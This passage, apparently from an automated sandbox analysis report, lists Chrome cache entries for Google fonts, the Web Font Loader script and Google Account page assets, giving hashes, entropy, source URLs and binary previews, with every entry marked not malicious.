Fy.t.......LNak.~q.jMA.I...`..6.........o...).....,...M.r.<....8WP.#Jg.Y.MEFkR....cD.`*...X..DwG....7.S.

Chrome Cache Entry: 152

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 13188
Category:	downloaded
Size (bytes):	5437
Entropy (8bit):	7.959270786319189
Encrypted:	false
SSDEEP:	96:Q88YRHs0ka3EefsMTEX7n6QsVdWE2VIbpc7gf6Q9N8R3+e0vnK5rFnAw3IdFTP:Q6RHssEefsMy7n6Qs7W5OygfD789+NvD
MD5:	30CA3165D143BAF2835023BFCF463450
SHA1:	62C662C0873B79A314C040FEF28DCD29ABB14480
SHA-256:	4F405D00E8CED09D5826E3E070B7E4D3F3556F856CA790B0B4A2C2EAAF58D33B
SHA-512:	9F6952296BBD02BB44274B6FE4A9A5D6844D488597C7C9474865F58E18A02F50A6AEB1785D4759A6F2F8F9F50D8BA3E0FE82E3072D4D5043001A1078113FF8CF
Malicious:	false
URL:	https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js
Preview:	...........Ziw...._A........7dP...\|.&.qz.VVs@.\,.TH.".g.n.....`03.y........l...0....u..Ib=....u.J...doc..B..:.Un...NVBF.....T^.Yj.......C...6[[K........(.. N....Z.V.Z2[..X.RY....>....^#.J....d..ZY....-Q.LGe.rF..f.f.ey8J.Y1z{v.....c6.'..&.(.\}Y..-ok......e%bce.%.\).3`x..e......\.2~\.y...y5....A.Z"...uv...'.g...t.....?.b.N>\|8y.......u.....g..[._Y'...~9{..Z.#.[.z.....A..g..Y.... 3,.+%. .V".p-Be....8....q..-,..V./.R...>........~.>).z....6.p...{..XG...:.3OY..T.Z..,L.k.q...#.q..uaKLvM.....QIv..yj.&E.0......OE...-..o'z..8..A.(.6..<.rL.8....i,QiXFdw%r..'y..l.geVnW..`Dz[.N...9....w.'.M.uZDqP.'..o7.u..f....-..<:...y......;...&...Y...y....8......T..d.+D.B8.h.^...$.3.".._.R.4.T.s.S..`\|.K.L../....n,.WUu[r...L..F....&N.l..J_...UK#.....L.J..e.`..i3.$.r..).d.(.o...l..r...m..r.(..zL..,....r....U...#..B/!.o..HJ..i.'>.....2_a....u.\7....P.5....G...K.=2..]QUX.F0..jr........*.r.%.,.E....+,.N...U...../..ev..S...v........R.o$....Q..4+VI\..E1.....U....

Chrome Cache Entry: 153

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 9852, version 1.0
Category:	downloaded
Size (bytes):	9852
Entropy (8bit):	7.976858458981679
Encrypted:	false
SSDEEP:	192:a0yi9/omJNLjeCSLFkrrtJt8vvOVOR83DooJlyiWY2SlOdcnrOs:2i9/oaeDF6tjVORW8q4i7OdKL
MD5:	3BC33669E3BEDDA403E81398B92D9040
SHA1:	7B7FA6C2199234D8905445EBA6A8DA92676BA8CE
SHA-256:	4D539033909DD344AE868F1C72BD0FC3D5EE082C9A76882448849481FD8ED857
SHA-512:	F3487DE9A5D58BEEA15863480C118BE64BC1005D0818973506C07F222A7E81895202F95225BBFEE5C0E4DE8A77D3D6048384D91226222B097E00CCBAC3853C01
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu5mxKOzY.woff2
Preview:	wOF2......&\|......Z\..&..........................v..x....`..6.T..<.....(.c........6.$..4. ..t. ..I..P.....q....-..2B.H..q.......R.(..n..WL..d.....~q.........Vkih.y......4W..6.@ p.6..D.g.NlV..{(.Kvz..R..=.(.C...:...]W..B=Bc..]....7.Iv...A.:`[.......W4?..MP!"F.a.a.F...V!h.Q.Qy....U......p.."../1..........y....^..b_ a...d........_\|..=".xYAym0.........`=....^...(..@...R.b.k..o.w)....@.5Z`..S.K..Z.A....F....m...[%.I.<...........~..E.&V"...:i...G7.z..P.M.4.Y7~7V.^N.U[uK...5.....`........\|....x~5..p....vjD....8.h..EU.J.....7..=..v.2IG9.u.../..P..!........Z7IW\.\..Z.+......M....`.f.....0....f.....8m.e..:..\.E...zvd...=..Z.........C_....B....q..........4M..v'.C.".!.!wYyvl.....-.....QT....h.C...{..=......q.C.aN.g..g.....3..t....{81.L.(..W........&G...FM}..m)96.~p.W.}n.nt...c.@m_bC... ..)><AVk3..8j......M9..1S?-..&ql.....wI...Q.V..Y.8:y..W......c.]E.E;.\...s....r`9.EMKg.l.... ....a.%I..l....-M&...S$.O^.........@z........]....j.f.....S.6.FNm....gsC..

Chrome Cache Entry: 154

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7096, version 1.0
Category:	downloaded
Size (bytes):	7096
Entropy (8bit):	7.966067193417515
Encrypted:	false
SSDEEP:	96:6n5DG8ovB+YnBAR8gEPg0mTDpTJXzCb002RqOd//0TCAaiWYza4rA9HZC:+BqpnnI7Eg5TlTJXeQX/OOsa4c9c
MD5:	787B4312733A32656F6A396DBE02ABCC
SHA1:	C68265AC36CF785E1006D02C96784940513E9C24
SHA-256:	B73C1098EED65E61418B5F54BA17BA07A9760A9B9D93F188833B3874CFDA5DDF
SHA-512:	69A3E94819AA1606DC175EE73F7D1D6ECD4AC9E66FA82B1026B9DCD18FEA5B0448AE8139FDB74E51B2553AFF0F058D47E90AF7B100A3A823CE72F82AB7688EFA
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4WxKOzY.woff2
Preview:	wOF2..............9....W.........................X..R.4.`....T..<....t....L..p.6.$.... ..t. ..I._33.......m...<.E.......t..p.,L..`.4u.w1.-.H....:os...d.).i...\|.0~."....2.....MN.JD.._6......%..{............Q.A'i.8..a..K..s{......{..6@M...G...h......n........MHV<@7..h.k..Mv#.k....}s.).&G.B.+.d..?.EQ..d.....p.......'g...w..u........h..,..m.].8(......{v..>.%.\|x...FH....og{........b.X.H"D..%...Z%.B#........ .sht....E%7?0..$.....Z...I..\|.&Y...<.j.FPC.....X.v..SLH..7t.\F[..`$Q..u..)...Trzz.....P(...p8HH....d..(...t.. `9^9.#..j....'A{....ho.[6.Z. ...\...4........#RX.E.zD.......@.,9.Y.Q...un..1)W-x.U.L...q..[g....-;9...@.....u...J.s"..#..$....-....+O<...........@..T.-...l-.3..0.,.yL..@M.6.J.T......"%.)..j..u.&...)....o2..Y3.k^.........y9.......6..\|v.. ..R....>B....r.V....#e.........].q..L.....f..~.....P=Q7.5u..W@..SeKYWV...C+/....~....}E.'B.ZWG.;....................Q.P.rUj..Q.N...Y3..tN.4....H..9#Cd.....y.I._bp.p@1@....y.....4is:.B..@...G...qg...

Chrome Cache Entry: 155

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 12456, version 1.0
Category:	downloaded
Size (bytes):	12456
Entropy (8bit):	7.981712465219897
Encrypted:	false
SSDEEP:	384:f20mLze+DYjb4GDbrLxEHJ+8mkylnwpPpR:cBDevlEHJNRCwpPL
MD5:	0DF72E634B7FEF39E756CC3E9708582B
SHA1:	FCEAC945949BADBABD7F3378843FD08A11C02AFE
SHA-256:	685DD0A4DBEDE9C486DEB28ACFBD6A2337F8D796445757029B828C7221E4CED1
SHA-512:	F0F64BFFEDA82FDA7EBF6DEA07FE2B8CAA6DEF9BD5E3781E991891A2F1BEE4216F3FE7A9418210F347AB49290C94BEE943651FE040109C39EC5137A25F270325
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7GxKOzY.woff2
Preview:	wOF2......0.......y...0B.........................d.....F.`..X.T..<..... ..x...... .6.$..X. ..t. ..I.^m%l.6...B...IGQ9..HD.q......J.r.I.E.f(.V...W.L'.F..&vr.....j.EY(.........%L...n..r.7.sO.=Q.u?.cK;...o..]`x...-.?E...m.-K.....}.K....o.....!iB..2.Y}.(.....[... .....=r.R5.2.D.$.7@F..z.0......yH..?....,.$.l....o^.J@Sy.....F0.o....4l.....a..f..O...[.P{.(._q...!...wIW)..$..h.J...3....Uc'.~...=.....\|:....~...c4!WN....6...T..6...)..V.ilf.nb.W..H.E...@.7.R.{`: ...k............_..... .\.V.....M.X.g.I=....<....@).Ij..+.Jv...S.UL..+...(.rk..rQV./.....?pri2..f..a..t...-.I.#..+.....`...e...q.e...c..,...i...\|.=......x..!...g.....ZR...B....g...l>......m.[3..... W.g.A.U..`*H.\.p.1<..r.AN....D".s..}......''....c.#..s...@...H.<;8..8...i`..........r .T..............74h......M..@...%...^..}....}4..k.U\|.v&.L..m^.Q.....>..~.MLx'....bk..t.yk.y.z6h......+6......V<....R.........<.X.w.0vw....d"....ji.......I..>.^..\|.?..YF"..E.qN,.8..$J.,E.4.2d9/....$W....@U.F.z...

Chrome Cache Entry: 156

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	83485
Entropy (8bit):	7.997191107493961
Encrypted:	true
SSDEEP:	1536:G4fqoQdWmC71vrsTEczX/1oyHI8Bst4KnbJvkvKyaQJs:ByC71T2l1hHNBs+KbW5Js
MD5:	076CDBB9C8D05DB771B0FD96032AB166
SHA1:	57871B7952BF78CA4C9C4C731D1D838F7771C4C4
SHA-256:	557831C64AD15B8620EDD041D288C7F70085A6A59C2255EEAB3E648290481E91
SHA-512:	3C342B12E526DB43F554A098143B8A86E6799372E756815797917F4907629AE8E5309FDE300EB9493BD203AA912AD35AA3B91EB5F2A7B85CDB3E19D6DE290A8A
Malicious:	false
URL:	https://www.google.com/account/about/static/feature-autofill.json
Preview:	......M...v.."....(J&+.E.$.c..^.;".V..Uj.....2...<..}_.+....[\[...8-..pq&...s...4...`.._..C..U..j+..&.`........-}$_"{....\|..5....?...3f../..E...E..k.[.`..#z{...E^..N./..S..........w<t@H..6......_T.0...i..R.xa.`..@.....c.=....F....j7..m...7kifl>.....A.h.C..@!...k..<.........e/Z..!}....z.S.M..Pek.?(.l.. u..J......T.....~%.......n........PI..k...)9`...p.....2...@............P..5....lu.Oe+."\T.T....%...!..?....J....... D...,.\.1..3....eLm..oIGR....K\|.c.?.l\.qm.7H+G...........j...,.l.u..\..y1....9ZI.}......_2Oa./.@./(<..(F&...c.5........../.q.....)#iz.e..........3.!K.gz8.._...k.MG:....h.C.....Xr.\|..B.....+2..ZA......1\h5...i. ....&..Q.F..E/z..9e,%....m0z._..7+Ah.Uhm...x&.8(W.(7. 5.T.)....L..j6+..U...b..%....U8.`..$.&...]#f:..[........h3.C.E.jJC\|..r5j.53.2.r...<.]g.....@%.!...H..G.K]...k...._HV 9..W.z...Xi;.....N..#.E..XV0..r.5Kq.N$.J.%....']G.v&@...JQ....;.-T.....N.....$...p.../..W8I./^./A..G1N...........@._...7..ri.T..tG.{..i.u.9.../.[..}.2....

Chrome Cache Entry: 157

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 9027
Category:	downloaded
Size (bytes):	1685
Entropy (8bit):	7.875415499963205
Encrypted:	false
SSDEEP:	48:XowoHDYy46LZ/5X7taPknZWx+gepDSUpnVKyel1//MAfn:WDYyzZxXAEWxRepeU5Kd/xn
MD5:	E672DCDD019AF8811B81415616B136B1
SHA1:	91AD0BDB03717713BE78A2A48CAB80FE07795CAB
SHA-256:	8CAB8EBC7784326D7E76CE5CE9585E85C4D4A978BCA871571F47639E852CDA0A
SHA-512:	623A4288AAC1121061CFC8B31BC4CC5FACDE080FD78EB545AF45D45FD21FC96AFD32643DDF239642CDD57996FA35E06984580B91EB77B3DD514098E4C0A19B7A
Malicious:	false
URL:	https://www.gstatic.com/glue/cookienotificationbar/cookienotificationbar.min.css
Preview:	...........Z.k.:..W.......&..{,.=...c.p?,KQ.3[Y2......Iv.8n-w.o.=(.fF./..H...t.A...B....S...`C..-IS..?.%.+..s...{.#.eB.A..,..f.$(.>..,_.."+.B.G...I...;T}.....DB.(.U .e 4.W.K......RT..I...)g...S`.D..2.).Q.".]K.fo......'X)TP...\|? ..\|6:$~6....FN".i.-..e)....2.qT...3O..dE.......N.uU'.......q.?K..h..!.Rv....4]ws.:.[.p."...T.0f\....=..!...c.A.....I[.......j..D.......0...P.7...0%.$L....V...e..M......#.eER...;...2..P.....E).J.....5.eU'%...x].^.....0S..z.j".v..\.oK.....~..x`.Y.,.H..yU{.EU{._v...d.rA.....7.E3.!.]a..RN..fs..X.-....<..W......%f.......".xn)...,..........0.h..L......&.a ...+...w\.;>Mi...J.....Q.......?.i.&2A.OXV.s......?}p2.....p..`..9Z...+n^...%dH.w:.n...'.T1I......".f..v..=.:...d.....q..t[....N....+..z..%....%".a.4_y....B@2]8.wN...R..@}<%Y+..?I.I...../.....)..{.. sDT...D....Z.G.+...o...q9.{8........:BO...n.....z...\|K.......U2....l...t..a.0........M..........By....3...5~...O7.".\.]m..7.)A...#.kQa].e..,4e.pLH./.&.

Chrome Cache Entry: 158

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 5796, version 1.0
Category:	downloaded
Size (bytes):	5796
Entropy (8bit):	7.960614936718416
Encrypted:	false
SSDEEP:	96:MRb3tT2Bsggqyd7L1Ux5bnEEZatTxlbNTrAi5q2xmcAqV/V3FvEhJmNoj8r07rQv:MRpyBsggqS7gZE2yTxlbxAA3NAy9pmAp
MD5:	D0EF1C16C2FF3E8387DCC45A03B84242
SHA1:	B4A0453AA0B3DBCEF5526F24FE6531E1921273EE
SHA-256:	666D5C2B0E7EF0CC2C46675B88B5867CCB5CC6EC89A52B8DA94CAA68A6BF8D13
SHA-512:	20D117AB7277F625AE2ED8F17D8EEAFC0929B7D5A33F1D79768F351B82C62E7A0D71A94667DD8AE2B7377FF02E74CCCEA0311B0BD17524198C3351F39B926FA2
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu7WxKOzY.woff2
Preview:	wOF2..............88...C.........................R..b..H.`..J.T..<....h.z..".....6.$..@. ..t. ..I.n2...E...J..'&..p....f/\.....(......"...&..P.4.B.a...f.....4.@..M..jd....a..G...."..KQ8..=.!.,...=y.....CT..v.y\|..#.G.Uu..#~w...fw.MC..sI.v9M.@;..`.....9...8D.n.v)...!)R....c..m....b........\.+.RKj.......0ed....+...sG.M.ldzb.........".....m.FussjB.......fF..k.dy..$R.'u...?..{w.{f. ..!...Zg.....2...P.0....6.z.._....{R,.R...uR..q@.a3.i..e.......atJd9..J......J...!m].N...RM......._..8...w.2.!......D+0....C0b.1a......C..8.X.... t..\\<<\|\|.Xj.G..7........`.;?5...$...s.`.9.....@............u }LL.G......._o./..k..B............v}>K...~.e6.-.........#..s,[..0....U{%..."a.3$.1.2.d%u..;..J.\!&.. 4.tT.....6y..B...w!..t........I.jSb!....L.... .X.....S,W.?.`..o..<]1..$.9r...'o...\|.......r.H...}&.E.......F...S.........pT.....&...(Hy..d.YB...yd)YL..r.kc.U3(.4N%..t8X...Q...-.Dx......A9...}bA....'..OG.:...SO.E*...5m...^..............C..%6!..s"..#.2....B6..8..<...

Chrome Cache Entry: 159

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 36216, version 1.0
Category:	downloaded
Size (bytes):	36216
Entropy (8bit):	7.994185155139824
Encrypted:	true
SSDEEP:	768:HjSgOUH5cnvjCxPZcF4Qfg4sm+7SG1JGfUGIU8Rdo1Sf7Yxk8QxGYj:D7/ZcOcvgVSGmfUNU8/oEDYxVQxh
MD5:	7C702451150C376FF54A34249BCEB819
SHA1:	3AB4DC2F57C0FD141456C1CBE24F112ADF3710E2
SHA-256:	77D21084014DCB10980C296E583371786B3886F5814D8357127F36F8C6045583
SHA-512:	9F1A79E93775DC5BD4AA9749387D5FA8EF55037CCDA425039FE68A5634BB682656A9ED4B6940E15226F370E0111878ECD6EC357D55C4720F97A97E58ECE78D59
Malicious:	false
URL:	https://fonts.gstatic.com/s/googlesans/v62/4UasrENHsxJlGDuGo1OIlJfC6l_24rlCK1Yo_Iqcsih3SAyH6cAwhX9RPjIUvQ.woff2
Preview:	wOF2.......x......................................\...t...?HVAR...`?STAT..'...B/<.....H..!....0..T.6.$..V. .....:..[.aq.9.zk...R...fpY..5..n5.)$&%x...v..R.....?5A.....0W:55.{..p+\...adD.H.dh......t5..S....T..5.TT.F...lI...h3..T9M0...c...I...Yu.#.%...o......u....&\.O.zIE..#...)o...5...7.A.@7.Q...Q..i......_5...3............cV.!.\|..]6..HLa.a.........s.J...........5..VDC,g..TcY.....n.....$/.....B..!B.......T...2...."..5..k...........H._)R.Q?.....C.[2.,p. ...[.m..@ri.....[V.U....u.....X.....-......d...YN..a..t...b\|3.4.............P.Q......t.....JR.tM.y.......Xf6..5......FV..U#..O....E.A...e@.d............(...q.....Y....Og.w.6..JU...%c.Lw..D....,..\|..2...?=.?....I...W.a.'\|c.........9.7...@...F.r...". h[.F....Tu...5.V.Z.U..~'......,.~6.#..Pm.%W`.B..1u5..bt...I...t...6.[/....z.D.@.@H..L.E..3......Z.@./j.D..D..%.....P.....-;kwL6'-.%.!0....VYW.~.......9...93..(..&z%.Q...5.\|..`^OJ.i.+.....=...h6.....6X8Hm...oi.T5....P....8ehl.l.]U..V...m..IN.K.j..

Chrome Cache Entry: 160

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18492, version 1.0
Category:	downloaded
Size (bytes):	18492
Entropy (8bit):	7.988005025098439
Encrypted:	false
SSDEEP:	384:jHq3alnVfBJBuMlPGCh9NBRLS64LRb0v5waXf0BFY0/rJ8Zw4bzUQb:jHqKf5JMOPdzNPLS64laxsFY0t8XcM
MD5:	7FDA4C62C1BDEAE7A08E6FD438104BAC
SHA1:	B1F626E78F5F6D7BE993303A49EB81F0FA4CE57C
SHA-256:	4DBD328E347E890A801D51F9A5F8D38A3EFD51EC34C0AA22CC83D0A95D6D9D71
SHA-512:	C4A36A3C1FF23023533DFF103A108844B7CFE4E793ABA0B1B5576431E77DD6E9EDF29FAD68132577AD6AD55CA7A011A38723DA2FA15D9071D2C6BA4E02D1DADC
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOlCnqEu92Fr1MmSU5fBBc4.woff2
Preview:	wOF2......H<..........G..............................Z..\|.`..J.X..<.....P..N..Z...x.6.$..0. ..\|. ..:...%l.F.......T.mZ..V.n!.53.l.@..N....CD.!f......I.(;..Cw.2L..@....M....(.H].......1..I&..tE.e....D...}y..6D.h.Z..$y.J.X._....J2 .(.....=M..+Hd.Y.6.f.J.z..:.........#.#...3..;.<..q./.,g.tK.Y.Ne.?......1.b.......S.".~..\|Q.9.1Q.Y.^....MkF......;v..g(.(S...Z.>...l.XW.Z....-Q.h..MR8$..W(..Wh.0....X..;]3...:..\/..L...L.U...6".h?K.....A.....(2z.uRTn...GaJ......+..4..d...I.[!..Ua..x..4.,@..t....3.e..J._'..R.j.p.t...`.4.......aI,.....W..9V..K..c..... g...:.........'..6.O.0+..;Q..&..e..=..sg......Eg.2.R.M..{{w.{{'4.L.O2.L$) ;..`....PeW..O..iS..e..S.l... .....R.R.+.!.uLUE~...C.JN..J.r...@..g..:.\..;..s.n.s........sq4... ;..N.`.H<T.....p.#2.e....H..T...........1....^......L.....R...R.1.!............E..m_Z~....z..L..j....".q~..Pg!X}1.q.!.n......@.d...._5=..x.......[.y.#$Q.d.........j...1n.....&...-(N..P\5<.f.qB..\|.i...q<.'..C.A...\.i.x.9........1.>....

Chrome Cache Entry: 161

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	278448
Entropy (8bit):	7.998530038712977
Encrypted:	true
SSDEEP:	6144:v6au2PtRBxX8g6jJlVIfbRdyS5gD2KXgNiHiiA269NwZs3q:v6t2PBxp6j8uEGQNiHz69NBa
MD5:	E17E5FB6E855E7426C80550622F9519E
SHA1:	5BD8E10B3BF6EA5F641BBED1E6F4677FFF39BC22
SHA-256:	B03B483A2CA11C8C290BC6218F1F574527298B2E3F5349218A15DDF0EB99D911
SHA-512:	96FB6F5C4D0311C766D2477C46F4E14F16370AAFCE4E84D917D096D5ACECF4EF60AA0129883961EACC715810B52E02337C5D8E4BC1522D289983A1343474A34D
Malicious:	false
URL:	https://www.google.com/account/about/static/header-animation.json
Preview:	....Q.l....].B..8F...P<".B........$Z'.K.ID:....a.~...[.Y.P .......6.......yB.x..0sk'L......+j....?.........?.f.(.....![...."...Q..q.}....._.&{W.E............6'....N7.8FMg.:..M....^.e..q.{..W....@.........4....-.c....t...~$.\|1.m!...i..M..h5.YC...Y..S....D.=.j"1..bV....p.............0lX.....<.;....!..R..i7.......7.@....YR...4&.k..3.`..."..K..~(..1....)fW..N....;-..W..u...K]q.....IU.L..FV.F..I.Z..r...EYq...B....1.XS..;DWE....7.a]...=.H.y.?..................4.=6.3.i....I.........,..3.s.t.T.f!>.......,.2../.....0....].4.,iLs.....y.:..7....;...O.&.l[.\v...BcZ.u.b...uK...K...#..xIm..]$..fQc.F.t.).P.r...l...W..[..?..i..#...}{..`..X.Ld...F....oN(TP4t.~.cx....uX.t.\%q..........B..#..p..8p.y$r@..I.m.I.(.ge7.x...]5%.O=.d)w.......$..>..:vq...4..5.B.Q.t..G....0lm/..5..!"....}..6.R._.(.Q..['...0..1...".kh'.3/...n...X.J..,.[..N..T.....=.JW.f./.....]..n.U.KP.........FB...<..F....x:.@.i9.0@_....zZ.(..R..A..O.R...7.K&..H\|m........Et..F_.@.3.<..

Chrome Cache Entry: 162

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	217310
Entropy (8bit):	7.997892259890245
Encrypted:	true
SSDEEP:	3072:xCUl/eDkgFPx388mQLhm6R3F0qAT9yE6pDytUK0WakaovUZrfJ9jgKdROcwpf+sU:xS188mQtmaV0r8DQUOa1NcEO5zU
MD5:	B37097F86398F17908807B6FB38E5931
SHA1:	27EEB4DFB67A980FCAD4FC7663B29DC7405EF027
SHA-256:	4552302BD8BED4CD964C54C16433BF2CC5C50200BFFC36E60FAB923D12C04195
SHA-512:	AF71D5CCF850B8DEFDBBB2E3280F30A9E68BEF681114C2447E706670D7D9519D7AA564949525C5E951BD6E112C140771C8799F20C6EC51F89C127383CE9D0ADE
Malicious:	false
URL:	https://www.google.com/account/about/static/kyi-security-checkup.json
Preview:	.........n.....R.F$'...U=%7.D.4.kD.l..A..(..`...Y.lyk...+.`.n...@L.,..%jB......q.........x.g.;9".}...........8....S..........#j...de...mJ.a\|.gR#.....WG1p....T4.JM....=.=.4<.P..9..(D.3"..~.C....m>aHbq.B.....<.k.JiK.f...Z..?v......XIB...6!$LH.==..a.](....XE.1.==.G.......#F..m./g...4..=...9.).W>.t.x^.i.k.....D...>A.j..........>.N....:!.EZ.:...SER. .,.~r..$'iO...N..........m.......bM<-.$.....xT..~.I.N.b'..X.x!TZ../.FM....SKj.(.......K.7.wi.....T%.C..i.FK4J.?.{O..?.3)..^X.$.p)..;......../0.....v..........~....(......l...2.C...e..eI....................>D..1b}.Pj.BZhp...Z..Qt]/...6X..F...Z.....Q.x/...?....?.T.x.....78.4...O.....(@..M>..h...1.{..l......5..O^.......^...=............L.,1........W....)>}5.4f.6zTC.S...6.........z}.3..Aq../.(..;..^.r..{.../Y.... .:;....z...y....;..t.....u.3"k.B ...`e..?...y..`.R`4.......v...@...V....Q.....J.@M..../.....K/....2.R..o!@^......'....0....+...%m. OR.w;C...S.!pS.n.j.3.[.....v.....%\|e(...I.@...Pk...

Chrome Cache Entry: 163

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	74519
Entropy (8bit):	7.997272455553652
Encrypted:	true
SSDEEP:	1536:v8CAzQcE2qX+nqZ30mr0NjPlkKXD/lRV+T69h8f6uhlcIbEUguK1f:vII+nQFg9Pl7o9f6uhlc5UgR
MD5:	0467EA5B3E92A80A53EC69C874529F3C
SHA1:	595F7729CE460D69CBAAB65C6A161595EE0BED88
SHA-256:	ABCCB134B705E4BF3B595812C4F30A352E54F0CD16149A4CF2C0A2BBA9F150DE
SHA-512:	3E6FDA6DC7FF6019FE0FA6FFE12E5ACD83559FB234392E11050D41109EA0CE153EC301E18BF7463ECC9EB3B14FD17BBE2A9C6FF2D4AA3165133C8CFD06B56CE4
Malicious:	false
URL:	https://www.google.com/account/about/static/jfy-safe-place-for-your-info.json
Preview:	.....v+6...P.y..H..<.....TQT...C.....M._QK.......bs....".R.L.]d.....w.....}..":{..y.9...K[..VT.G0A.a.AO..A.u.j....3F1....a.~.Gr.?O..-.U.........2.W.}.$.DV..y.....&.ac^..........u6..TL..,..$.K.............$,..Kdlb\.....pw..g..B."4b..C.....R...Q....P.;w.T.(..;...Sh._.xP..M.....P.\Zq8dl..iI...].9h.F..f}....KJ)...O...+N.[.RY.......R........v..?2\..QT.>T.T!....=.u....AT....Y..E.....~.?....Sm.# x..W...y.@.i6.$)....4.s.tY....8...u.v1]Q..cr.v..][\.h..._ K.5xV<.q.5.H.t...u..z...c..1....z.....o.......x@.u......H..I...AS..K....._.V...U.?..1\.0.v.i^.....&.(%..#..Yb.:6...........=..)...G......d.`....%_....$.bq.)..f.U.......1%.*.[.}.~D.(oM..r.X8..j..x..!.w.6.qA..U5[......g...XD.?r..!.;..`....=W~..mv.9U.....$7../v..Q...U...E/B.>}u.K?yk.wT..i."v?...xE.7A2A.U-Sa.........(.'.^.#..;......."S...t..u.;. .V".....8.6..M..1.}..W......h........"...=...8..%....s.(.3..i=.A!... ...-......c.......o...)..e;Eg..z....+...E....$...R.;........qD..4..b.6... ....%<....

Chrome Cache Entry: 164

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	36449
Entropy (8bit):	7.994004231068409
Encrypted:	true
SSDEEP:	768:MdUSTcLUZpNfw727VIAJjAw2SfvshuK0CA0B/GSiYCSp/uJ5loiqyv67RaNJv:rkp9w72hIAJjuhuK0uGGCAu1qyv67S
MD5:	FD11E0B600F659E8E976037CBC35B712
SHA1:	F092E33FD65935C610F2DB5E1BE4EB62A493E04A
SHA-256:	3C9CB9F658408BCADA17F4A0F9104942B9D16D5D5EF3E4ED0110424AFA7E7241
SHA-512:	081B3744BADEAB97373BD6B906691ECA6BEB58BBE3ED960CA8CA59C6EE302AF85C519E81854028EA2DCDD1E5F935DFD5981A470A66CCB61E056B2E98555666B0
Malicious:	false
URL:	https://www.google.com/account/about/static/kyi-password-manager.json
Preview:	......6;...(..7E.......g.D....@.....cB...&....8.#\...c"/eb...x....%as..r..=...?:...>......U.r....bu9...2.L.If....R.. ....7.r..O...M......&KW_.......o.RZ....B_..6.H.i.q...c.....5.."K...N...[....,[...u[..a...9.5..y.J.L...1r..^....2.{..]....a....J.R5B#...9.D.CXd.E......p../..[..J.h.I.&..q.1O...:..e.{..U].B...L..'.:9.d.P....Z83!cg&.<....ZO....J%.U......c~H.E...~...N...j.di..<.u./..-}_..:.....1....3e.]_-c...`.i....2..15X...5DP...2....v......5!...{e..>.\|..>>#.&...@.S.i..s...P.A[..C..s\|....Y. ..{...QC.....}..b8.....D...IS....2L..~)....[.?"!k.7.I....^..A..(.....c0.y..9.*/A$.\|1.m)./.16.7..0f....`bM.:L..$F..v...E....J......c..V.?..N2"k.B(..i.+I`.t.A7...Q8.h.S........e...A.JP.../..'...k\.x..XW....x=.i.$.....wH..7./......H.\..LJ..6.CC.,..\.....eB..y....{.h8.]R3c..@...v.I~Q.......Ny.&.u....L=N...Cx.k#...^..WB..$.A...`..."./...C.."..;h...cb./U.i..p.....W..a<.r.r.nr.:...u....I.Lh....&.{<`.(.m..^N..+..5h...JT.7.t@.o....P..8..NGiz....h.I.J.X.U...B......j

Chrome Cache Entry: 165

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 426
Category:	downloaded
Size (bytes):	275
Entropy (8bit):	7.138417535817631
Encrypted:	false
SSDEEP:	6:XtxCsGy0hvYjKEwhFtzQXf5ZXkvsVnYUXfjDUEmwfnRU5fTCapMj8:XlhIvBbtqf55CwYUXr4dwfRUTHMI
MD5:	76A79DE25F837DBF7AD5F13F9FF85F5C
SHA1:	CA082997A1DD3BC4685988EED02C8B2463E3A28B
SHA-256:	6017492C55815E92C8554723A575C9FA18E61FEDB2E37A592371334E4E4962A8
SHA-512:	FE92D5E4E8E75CB9AA438EC9B1EF9D9898C6A777F182C38129F846CA31D419FDE9A34A695C2ADC032D2A7AEB0818C4864746AFAD1432201922EFA0CE997659D2
Malicious:	false
URL:	https://www.google.com/account/about/static/btn-down-shadow.svg
Preview:	..........}QAn.0.....FU..`c.@*..C.p..U.#...] ..."K..xf....O...........qh]C9c....+...x..U.i...Y..!...4o....]..x9x..[.B}.?......:......4.0...1D..q.zz.0.K=.v.Q.....rf.^...Hy.p.!..H.p....8..i..$.kzm...<]....E..NM.:...\.._.\f........0......`....\|o..N........._.1nr....

Chrome Cache Entry: 166

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 587017
Category:	downloaded
Size (bytes):	204885
Entropy (8bit):	7.998598890904722
Encrypted:	true
SSDEEP:	6144:wka2Mg02obvTMb30JNt7d8e0GUt1eDg8zWoxR:wkvM1TML0rJuGNDTaoxR
MD5:	EB6A3EBBE17E520011AE944B03A816DB
SHA1:	23A9ECFC5831B40A756265AF6E6BF10F019C4096
